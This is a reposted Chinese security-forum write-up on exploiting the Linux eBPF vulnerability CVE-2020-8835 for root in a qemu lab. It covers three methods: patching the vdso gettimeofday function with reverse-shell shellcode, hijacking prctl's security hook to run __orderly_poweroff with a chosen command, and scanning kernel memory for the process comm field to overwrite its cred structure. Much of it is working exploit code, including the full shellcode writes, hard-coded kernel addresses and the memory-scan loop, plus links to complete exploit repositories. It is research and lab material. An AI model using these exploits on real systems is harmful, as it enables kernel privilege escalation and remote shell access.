安全矩阵

 找回密码
 立即注册
搜索
查看: 2669|回复: 0

Rick提权:CVE-2020-8835下的几种另类提权尝试

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-10-26 09:42:52 | 显示全部楼层 |阅读模式
原文链接:Rick提权:CVE-2020-8835下的几种另类提权尝试

前言看到两位大佬关于CVE-2020-8835的漏洞分析利用
https://xz.aliyun.com/t/7690
https://www.anquanke.com/post/id/203416
这两篇文章分别通过修改modprobe_path的值和通过init_pid_ns结构查找cred结构进而修改的方式进行提权,本文对漏洞利用进行新的尝试,通过任意读写漏洞,分别做到劫持vdso提权, 劫持prctl到__orderly_poweroff进行提权和根据comm查找cred结构体提权,其完整的代码和漏洞环境在文末给出
劫持vdso提权关于vdso的个人直白理解:一个物理页大小的空间,分别映射在了用户空间和内核空间,如图所示

其结构为elf格式,里边分别有5个系统调用, vdso所在的页,在内核态是可读、可写的,在用户态是可读、可执行的。我们可以通过这个特点,在内核空间对vdso进行修改,这样用户在用户态调用vdso的函数进行劫持
在用户态下查看用户空间的vdso地址
root@snappyjackPC:~# more /proc/self/maps | grep vdso7ffe700c4000-7ffe700c5000 r-xp 00000000 00:00 0                          [vdso]
而对于vdso在内核空间的位置,我们可以通过特殊字段的识别,如”gettimeofday”字段,首先我们找到该字段对于elf文件的偏移

该程序读取用户空间vdso,并找到相对于gettimeofday的偏移,运行结果如下
/ $ ./dumpmorty [+]VDSO : 0x7fffc1bc6000[+]The offset of gettimeofday is : 2f8
在寻找内核空间vdso映射的地址,我们采用爆破的方法,其中vdso所在的位置范围为0xffff880000000000~0xffffc80000000000,并且vdso占用大小为一个完整物理页,我们可以在爆破范围内地址依次增加0x1000,并且加上字符串的偏移0x2f8,与” gettimeofday”进行对比,从而找到vdso在内核空间的映射

一旦我们确定了vdso地址,我们通过gdb对vdso进行dumpdump memory /home/dumpelf2 0xffffffff822c0000 0xffffffff822c1000,并通过ida查看其函数地址偏移

通过vdso地址和函数偏移,我们可以很容易得到函数在内核空间的地址.通过劫持gettimeofday函数,将其功能改为一段反弹shell的代码,另一个进程进行接收具有root权限的shell,从而完成提权.
其中shellcode从这里提供
https://gist.github.com/itsZN/1ab36391d1849f15b785
该shell代码向地址127.0.0.1:3333进行反弹shell.
将该汇编代码转换为shellcode,通过任意地址的4个字节的修改,添加到我们的程序中,如下
  1. exp_buf[0] = 0x31485390-1;
  2. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*0);//0xffffffff822c0730
  3. exp_buf[0] = 0x0f66b0c0-1;
  4. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*1);
  5. exp_buf[0] = 0xdb314805-1;
  6. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*2);
  7. exp_buf[0] = 0x75c33948-1;
  8. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*3);
  9. exp_buf[0] = 0xc031480f-1;
  10. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*4);
  11. exp_buf[0] = 0x050f39b0-1;
  12. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*5);
  13. exp_buf[0] = 0x48db3148-1;
  14. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*6);
  15. exp_buf[0] = 0x0974d839-1;
  16. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*7);
  17. exp_buf[0] = 0xc031485b-1;
  18. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*8);
  19. exp_buf[0] = 0x050f60b0-1;
  20. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*9);
  21. exp_buf[0] = 0xd23148c3-1;
  22. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*10);
  23. exp_buf[0] = 0x6a5e016a-1;
  24. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*11);
  25. exp_buf[0] = 0x296a5f02-1;
  26. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*12);
  27. exp_buf[0] = 0x48050f58-1;
  28. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*13);
  29. exp_buf[0] = 0xb9485097-1;
  30. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*14);
  31. exp_buf[0] = 0xfaf2fffd-1;
  32. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*15);
  33. exp_buf[0] = 0xfeffff80-1;
  34. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*16);
  35. exp_buf[0] = 0x51d1f748-1;
  36. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*17);
  37. exp_buf[0] = 0x6ae68948-1;
  38. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*18);
  39. exp_buf[0] = 0x2a6a5a10-1;
  40. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*19);
  41. exp_buf[0] = 0x48050f58-1;
  42. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*20);
  43. exp_buf[0] = 0x3948db31-1;
  44. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*21);
  45. exp_buf[0] = 0x480774d8-1;
  46. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*22);
  47. exp_buf[0] = 0xe7b0c031-1;
  48. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*23);
  49. exp_buf[0] = 0x6a90050f-1;
  50. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*24);
  51. exp_buf[0] = 0x216a5e03-1;
  52. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*25);
  53. exp_buf[0] = 0xceff4858-1;
  54. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*26);
  55. exp_buf[0] = 0xf675050f-1;
  56. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*27);
  57. exp_buf[0] = 0x50c03148-1;
  58. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*28);
  59. exp_buf[0] = 0x9dd0bb48-1;
  60. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*29);
  61. exp_buf[0] = 0x8cd09196-1;
  62. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*30);
  63. exp_buf[0] = 0xf748ff97-1;
  64. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*31);
  65. exp_buf[0] = 0x894853d3-1;
  66. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*32);
  67. exp_buf[0] = 0x485750e7-1;
  68. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*33);
  69. exp_buf[0] = 0x3148e689-1;
  70. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*34);
  71. exp_buf[0] = 0x0f3bb0d2-1;
  72. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*35);
  73. exp_buf[0] = 0xc0314805-1;
  74. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*36);
  75. exp_buf[0] = 0x050fe7b0-1;
  76. bpf_update_elem(0, exp_buf, exp_mapfd, vdso_addr+0x730+0x4*37);
复制代码
为了验证是否劫持了用户空间的gettimeofday,我们采用如下程序打印用户空间的vdso中的gettimeofday函数的代码
  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/stat.h>
  4. #include <fcntl.h>
  5. #include <sys/auxv.h>
  6. #include <sys/mman.h>
  7. int main(){
  8.     int test;
  9.     size_t result=0;
  10.     unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
  11.     result=memmem(sysinfo_ehdr,0x1000,"gettimeofday",12);
  12.     printf("[+]VDSO : %p\n",sysinfo_ehdr);
  13.     printf("[+]The offset of gettimeofday is : %x\n",result-sysinfo_ehdr);

  14.     if (sysinfo_ehdr!=0){
  15.         for (int i=0x730;i<0x830;i+=1){
  16.             printf("%02x ",*(unsigned char *)(sysinfo_ehdr+i));
  17.         }
  18.     }
  19. }
复制代码

其中0x730是gettimeofday函数地址偏移
运行exp前

运行exp之后

我们可以清楚的看到,用户空间调用的gettimeofday已经被我们劫持.而劫持后的代码正是我们在内核空间所修改的.
接下来是最后一步,也是最关键的一步,fork()一个新的子进程,并调用我们劫持的函数,而父进程3333端口进行监听,等待子进程的反弹shell,代码如下:

运行结果如下:

代码及运行环境见:
https://github.com/snappyJack/Ri ... 35/tree/master/vdso
劫持HijackPrctl除了劫持vdso,我们还可以利用劫持prctl函数使其最终运行到call_usermodehelper,并且自定义参数,达到在内核运行任意命令的目的,做到提权.
prctl函数流程分析
根据内核版本找到系统调用prctl的流程如下


我们看到prctl函数的参数原封不动的传到了security_task_prctl中,继续跟进,看到函数运行了hp->hook.task_prctl

分析完了prctl,接下来我们在/kernel/reboot.c中查看__orderly_poweroff函数

发现该函数的参数只有一个,且为布尔类型.最终运行了run_cmd(),而poweroff_cmd为全局变量
我们可以将hp->hook地址指向的值改为orderly_poweroff,将变量,poweroff_cmd改为我们想要执行的命令,这样我们运行prctl()就等同于运行__orderly_poweroff(any_command),而后者具有root权限
我们首先使用gdb或者more /proc/kallsyms命令查看函数地址

通过任意地址写,修改变量poweroff_cmd和hp->hook地址,然后调用prctl,进行触发.代码如下

  1. expbuf64[0] = 0x81090c90 -1;
  2. bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824b2240);       // security_task_prctl 改为 orderly_poweroff
  3. expbuf64[0] = 0x6e69622f -1;
  4. bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0);       //命令改为 chmod 777 /flag
  5. expbuf64[0] = 0x6d68632f -1;
  6. bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0x4);   //命令改为 chmod 777 /flag
  7. expbuf64[0] = 0x3720646f -1;
  8. bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0x8);   //命令改为 chmod 777 /flag
  9. expbuf64[0] = 0x2f203737 -1;
  10. bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0xc);   //命令改为 chmod 777 /flag
  11. expbuf64[0] = 0x67616c66 -1;
  12. bpf_update_elem(expmapfd,&key,expbuf,0xffffffff824467c0+0x10);   //命令改为 chmod 777 /flag

  13. prctl(0,0);     //调用劫持的prctl,相当于运行__orderly_poweroff(bool force),而全局变量poweroff_cmd = 'chmod 777 /flag'
复制代码

再次使用gdb下断,查看$rb0x18,发现地址已经修改为orderly_poweroff

同时查看全局变量,已经修改为我们想要的结果

此时查看flag读写权限,发现该文件的权限已通过root权限进行了修改

至此提权效果演示完毕,完整的代码和运行环境见
https://github.com/snappyJack/Ri ... master/hijack_prctl
根据comm查找cred结构相对于前两种”曲线”式的提权,查找cred结构进行提权显得比较直观,其原理就是在内核空间查找特定进程的cred结构体,
首先我们对comm字段进行设置
  1. char target[16];

  2. strcpy(target,"aaaaaaaa");
  3. prctl(PR_SET_NAME,target);              //通过prctl设置字符串为aaaaaaaa
复制代码



通过爆破0xffff880000000000~0xffffc80000000000的地址,查找该字段,从而确定该线程的cred结构体,再利用任意地址读写,修改cred结构体,进行权限的提升.
我这里将代码稍作修改,查看comm字符串是否改变
  1. uint64_t task_struct, cred, current_task, comm;
  2.     uint64_t per_cpu_offset = read_8byte(0xffffffff822c26c0);
  3.     printf("per_cpu_offset: 0x%lx\n", per_cpu_offset);
  4.     for(int i = 0; ; i++){
  5.         current_task = read_8byte(per_cpu_offset + 0x17d00);
  6.         comm = read_8byte(current_task + 0x648);
  7.         if(comm == 0x6161616161616161){                     //通过prctl设置的字符串判断位置
  8.             printf("current_task: 0x%lx\n", current_task);
  9.             task_struct = current_task;
  10.             printf("[+] comm: 0x%lx\n", comm); // get comm to check
  11.             hextostr(comm);
  12.             break;
  13.         }
  14.     }
复制代码


运行代码,发现comm地址已经成功被我们改写,之后再通过偏移找到cred结构,将其修改进行权限提升

不成熟的小技巧
这里出现了一个问题,就是在任意地址读函数最终是执行bpf_map_get_info_by_fd()进行任意地址读取

而爆破的过程中势必会运行到内核地址未分配的情况,每当程序运行到这里,就会造成’unable to handle page fault’,引起内核crash.程序无法继续.这里有一个小技巧:
我们qemu中的程序由于内核crash无法运行,但是这对于宿主机却并不影响,我们可以使用gdb脚本的方式,将爆破的工作交给gdb,gdb将输出的结果进行保存,待我们将保存的结果分析,得出一个更加精准的目标范围时,修改程序爆破范围,避免其出现crash的情况.这里我们以爆破vdso地址为例:
首先将脚本保存在一个文件中
  1. root@snappyjackPC:/home/cve-repo/0x04-pwn2own-ebpf-jmp32-cve-2020-8835# more bbb
  2. target remote :1234
  3. x/s 0xffffffff80001000
  4. x/s 0xffffffff80002000
  5. x/s 0xffffffff80003000
  6. x/s 0xffffffff80004000
  7. x/s 0xffffffff80005000



  8. x/s 0xffffffffffffb000
  9. x/s 0xffffffffffffc000
  10. x/s 0xffffffffffffd000
  11. x/s 0xffffffffffffe000
  12. x/s 0xfffffffffffff000
复制代码


将结果保存
gdb --batch --command=bbb > 8835_dump.txt
搜索ELF字段(vdso整页映射,具有elf结构)

根据搜索的结果便可缩小我们要爆破的范围,防止程序crash
代码及运行环境:
https://github.com/snappyJack/Rick_write_exp_CVE-2020-8835




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 20:20 , Processed in 0.043261 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表